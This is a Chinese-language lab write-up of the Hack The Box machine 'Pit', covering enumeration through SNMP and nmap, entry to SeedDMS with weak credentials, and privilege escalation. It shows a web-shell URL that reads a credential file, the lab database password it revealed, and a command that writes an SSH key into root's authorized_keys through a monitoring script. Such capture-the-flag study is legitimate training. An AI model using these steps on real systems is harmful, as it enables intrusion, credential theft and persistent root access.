HTB 学习笔记
【Hack The Box】linux练习-- Pit
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
- HTB 学习笔记
- 信息收集
- 80
- https 9090
- pit.htb
- udp snmp
信息收集
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)
| 256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)
|_ 256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)
80/tcp open http nginx 1.14.1
|_http-server-header: nginx/1.14.1
|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
9090/tcp open ssl/zeus-admin?
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 400 Bad request
| Content-Type: text/html; charset=utf8
| Transfer-Encoding: chunked
| X-DNS-Prefetch-Control: off
| Referrer-Policy: no-referrer
| X-Content-Type-Options: nosniff
| Cross-Origin-Resource-Policy: same-origin
| <!DOCTYPE html>
| <html>
| <head>
| <title>
| request
| </title>
| <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <style>
| body {
| margin: 0;
| font-family: "RedHatDisplay", "Open Sans", Helvetica, Arial, sans-serif;
| font-size: 12px;
| line-height: 1.66666667;
| color: #333333;
| background-color: #f5f5f5;
| border: 0;
| vertical-align: middle;
| font-weight: 300;
|_ margin: 0 0 10p
| ssl-cert: Subject: commonName=dms-pit.htb/organizationName=4cd9329523184b0ea52ba0d20a1a6f92/countryName=US
| Subject Alternative Name: DNS:dms-pit.htb, DNS:localhost, IP Address:127.0.0.1
| Not valid before: 2020-04-16T23:29:12
|_Not valid after: 2030-06-04T16:09:12
|_ssl-date: TLS randomness does not represent
9090/tcp open ssl/zeus-admin?
并且应该是暴露出了html页面
commonName=dms-pit.htb
子域基域添加
nmap -sU --top-ports 10 -sV 10.129.228.106
这里有必要提一下,udp扫描放到后台进行就行
之所以要特别说一下,是因为要用到
53/udp filtered domain
67/udp filtered dhcps
123/udp filtered ntp
135/udp filtered msrpc
137/udp filtered netbios-ns
138/udp filtered netbios-dgm
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
445/udp filtered microsoft-ds
631/udp filtered ipp
1434/udp filtered ms-sql-m
发现了udp/snmp,显眼,特殊
80
那个静态页面,目录爆破没东西,网站标头没东西
https 9090
pit.htb
没有东西
udp snmp
nmap枚举出来时v1版本
snmpwalk -v2c -c public 10.129.228.106 .
找到了一个用户
我们在这里获取 Linux 内核版本、操作系统信息、用户名、Web 目录和二进制文件位置。
先检查一下能否链接
而后又发现了
http://dms-pit.htb/seeddms51x/seeddms/
发现一个在www下的目录,我们试图在浏览器访问他
可以访问
我们刚才在snmp中唯一获得了一个用户名michelle
所以我们尝试一下弱口令
成功的凭据如下
michelle/michelle
通过左上角得知了这个cms
seeddms
而我们在页面的文档信息得知了版本信息
5.1.15
搜索了一下,似乎没有5.1.15版本的漏洞
另一个文件夹只有两个用户
Michelle
Jack
然后查看之前的升级日志
提到:修复 CVE-2019-12744(通过未验证的远程命令执行 文件上传),将 .htaccess 文件添加到数据目录
看起来会有.htaccess,我要尝试访问一下
果然存在
http://dms-pit.htb/seeddms51x/seeddms/.htaccess
可惜没啥东西
到这又没思路了,看了看网上的文章,虽然5.10的rce已经修复,但是我们依旧可以从其中找到一些东西
https://www.exploit-db.com/exploits/47022
可以看到id
成功
而后反弹shell失败,原因未知,我也没有找,因为很快我的后门就被删除了
我必须要在这个短暂的shell中很快的找到一些东西
在我重新上传三次文件之后我发现了这个xml文件,里面包含了密码账号
http://dms-pit.htb/seeddms51x/data/1048576/30/1.php?cmd=cat ../../../conf/settings.xml
<database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false">
得到了凭据如下
seeddms/ied^ieY6xoquu
但是ssh登陆不上
数据库外部也链接不了
所以我回到9090页面,尝试登陆
seeddms登陆不上
我将去到pt.htb
我将尝试米歇尔和jack账户
登陆成功
在页面的左下角有一个终端页面,我们可以正常的使用它
页面有一个终端
普通的枚举没发现有啥
因为我们的用户权限不够,很多东西都看不到
但是刚才在snmp中可以查看完整的进程(这就是snmp的特性)
monitor比较可疑
/usr/bin/monitor
他将执行这个目录下的所有以chec开头的sh脚本
ls -l /usr/local
我们是不可写的
然而,有一个 +在权限的末尾,这意味着在目录上设置了额外的 ACL。 michelle 实际上可以从目录中编写和执行:
我们对该目录具有读写和执行权限,还有 + 意味着有扩展权限。 我使用 getfacl 查看扩展权限。
我们可以看到 root 是所有者,其他人拥有除“Michelle”之外的所有权限。
“michelle”只有写入和执行权限。
getfacl /usr/local/monitoring
所以我们可以直接写一个脚本进去
然后就可以了
我们写入一个我们自己的私钥
echo 'echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPU+OHcWDuZN6NJak2W2C3ee4pAoAKO5FPkt0SyDqpvE root@kali" > /root/.ssh/authorized_keys' > check_rong.sh
cat check_rong.sh
确实写入了
在snmp中这个服务的详细信息如下
iso.3.6.1.4.1.8072.1.3.2.2.1.2.10.109.111.110.105.116.111.114.105.110.103 = STRING: "/usr/bin/monitor"
现在我们利用snmp调用这个程序
之所以用snmp是因为我们的低权限用户没有这个进程
snmpwalk -v 1 -c public 10.129.228.106 iso.3.6.1.4.1.8072.1.3.2